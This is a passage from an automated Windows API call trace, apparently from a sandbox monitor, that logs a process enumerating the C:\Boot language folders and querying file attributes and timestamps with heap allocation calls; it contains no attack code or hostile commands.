lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4d48 [0039.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e9d8 [0039.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.490] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.490] GetLastError () returned 0x12 [0039.490] FindFirstFileExW (in: lpFileName="C:\\Boot\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.490] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.490] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.490] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.490] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.490] GetLastError () returned 0x12 [0039.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.490] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.490] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0039.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.490] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.491] CreateFileW (lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0039.491] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.491] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.491] NtClose (Handle=0x124) returned 0x0 [0039.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.491] FindFirstFileExW (in: lpFileName="C:\\Boot\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.491] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.491] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4d68 [0039.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0039.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.491] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.492] GetLastError () returned 0x12 [0039.492] FindFirstFileExW (in: lpFileName="C:\\Boot\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.492] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.492] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.492] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.492] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.492] GetLastError () returned 0x12 [0039.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.492] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.492] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0039.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.492] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.536] CreateFileW (lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.536] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.536] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.536] NtClose (Handle=0x15c) returned 0x0 [0039.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.536] FindFirstFileExW (in: lpFileName="C:\\Boot\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.536] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.536] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4d88 [0039.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e840 [0039.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.537] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.537] GetLastError () returned 0x12 [0039.537] FindFirstFileExW (in: lpFileName="C:\\Boot\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.537] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.537] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.537] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.537] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.537] GetLastError () returned 0x12 [0039.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.537] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.537] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0039.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.537] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.537] CreateFileW (lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0039.538] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.538] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.538] NtClose (Handle=0x124) returned 0x0 [0039.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.538] FindFirstFileExW (in: lpFileName="C:\\Boot\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4da8 [0039.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0039.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.538] GetLastError () returned 0x12 [0039.538] FindFirstFileExW (in: lpFileName="C:\\Boot\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.539] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.539] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.539] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.539] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, 